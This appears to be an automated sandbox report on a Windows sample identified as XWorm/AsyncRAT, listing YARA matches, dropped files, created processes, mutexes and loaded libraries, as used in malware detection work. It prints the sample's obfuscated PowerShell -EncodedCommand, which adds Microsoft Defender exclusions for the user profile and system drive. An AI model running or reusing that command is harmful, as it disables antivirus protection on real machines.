Windows Analysis Report
test2.exe.bin.exe

Malicious sample detected (through community Yara rule)

System Summary

Source: 3.0.XClient.exe.190000.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 3.0.XClient.exe.190000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1208279408.0000000002E50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000000.1156694138.0000000000192000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\test, type: DROPPED	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Temp\test, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\XClient.exe, type: DROPPED	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Temp\XClient.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04E3B570	1_2_04E3B570
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Code function: 3_2_00007FFC3DD988F2	3_2_00007FFC3DD988F2
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Code function: 3_2_00007FFC3DD97B46	3_2_00007FFC3DD97B46

Source: test2.exe.bin.exe, 00000000.00000002.1208279408.0000000002E50000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameXClient.exe4 vs test2.exe.bin.exe

Source: test2.exe.bin.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: 3.0.XClient.exe.190000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 3.0.XClient.exe.190000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1208279408.0000000002E50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000000.1156694138.0000000000192000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\test, type: DROPPED	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: C:\Users\user\AppData\Local\Temp\test, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\XClient.exe, type: DROPPED	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: C:\Users\user\AppData\Local\Temp\XClient.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: XClient.exe.0.dr, cWbnhgR87wIUBxR6cj09ZIB9qg4ITwrjmhzPldn3d2CFxlXGOKk6uFEWsevbTUJTkeJcPvRm.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: XClient.exe.0.dr, cWbnhgR87wIUBxR6cj09ZIB9qg4ITwrjmhzPldn3d2CFxlXGOKk6uFEWsevbTUJTkeJcPvRm.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: XClient.exe.0.dr, xuigMhegpDWb7LyFrukanLGTDbKK1mTJMDADPB9Vz5qijEgBZbzo72QwF7mNBkuarMQ9LipLOQXs5xBkPhs96tO.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: test.3.dr, cWbnhgR87wIUBxR6cj09ZIB9qg4ITwrjmhzPldn3d2CFxlXGOKk6uFEWsevbTUJTkeJcPvRm.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: test.3.dr, cWbnhgR87wIUBxR6cj09ZIB9qg4ITwrjmhzPldn3d2CFxlXGOKk6uFEWsevbTUJTkeJcPvRm.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: test.3.dr, xuigMhegpDWb7LyFrukanLGTDbKK1mTJMDADPB9Vz5qijEgBZbzo72QwF7mNBkuarMQ9LipLOQXs5xBkPhs96tO.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: XClient.exe.0.dr, gEI2RJZt7QvOAzrcBB7lnj6964hB0MzCMqosR.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, gEI2RJZt7QvOAzrcBB7lnj6964hB0MzCMqosR.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: test.3.dr, gEI2RJZt7QvOAzrcBB7lnj6964hB0MzCMqosR.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: test.3.dr, gEI2RJZt7QvOAzrcBB7lnj6964hB0MzCMqosR.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winEXE@11/27@2/3

Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe

File created: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\

Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Mutant created: NULL
Source: C:\Windows\System32\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9092:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Mutant created: \Sessions\1\BaseNamedObjects\cPb595uDpWLZU8ML
Source: C:\Windows\System32\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7796:120:WilError_03

Source: C:\Users\user\Desktop\test2.exe.bin.exe

File created: C:\Users\user\AppData\Local\Temp\XClient.exe

Source: test2.exe.bin.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\test2.exe.bin.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\test2.exe.bin.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: test2.exe.bin.exe	Virustotal: Detection: 69%
Source: test2.exe.bin.exe	ReversingLabs: Detection: 80%

Source: C:\Users\user\Desktop\test2.exe.bin.exe

Evasive API call chain: __getmainargs,DecisionNodes,exit

graph_0-120

Source: unknown	Process created: C:\Users\user\Desktop\test2.exe.bin.exe "C:\Users\user\Desktop\test2.exe.bin.exe"
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHoAYgB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdgB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAYwBuACMAPgA="
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Process created: C:\Users\user\AppData\Local\Temp\XClient.exe "C:\Users\user\AppData\Local\Temp\XClient.exe"
Source: unknown	Process created: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe "C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe" -ServerName:Microsoft.ZuneMusic.AppX48dcrcgzqqdshm3kf61t0cm5e9pyd6h6.mca
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\OpenWith.exe -Embedding
Source: unknown	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\OpenWith.exe -Embedding
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHoAYgB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdgB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAYwBuACMAPgA="	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Process created: C:\Users\user\AppData\Local\Temp\XClient.exe "C:\Users\user\AppData\Local\Temp\XClient.exe"	Jump to behavior

Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: twinui.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: sharedui.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: vccorlib140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: msvcp140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: concrt140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: vcruntime140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: vcruntime140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: msvcp140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.ui.xaml.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: rometadata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.applicationmodel.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.storage.applicationdata.dll	Jump to behavior
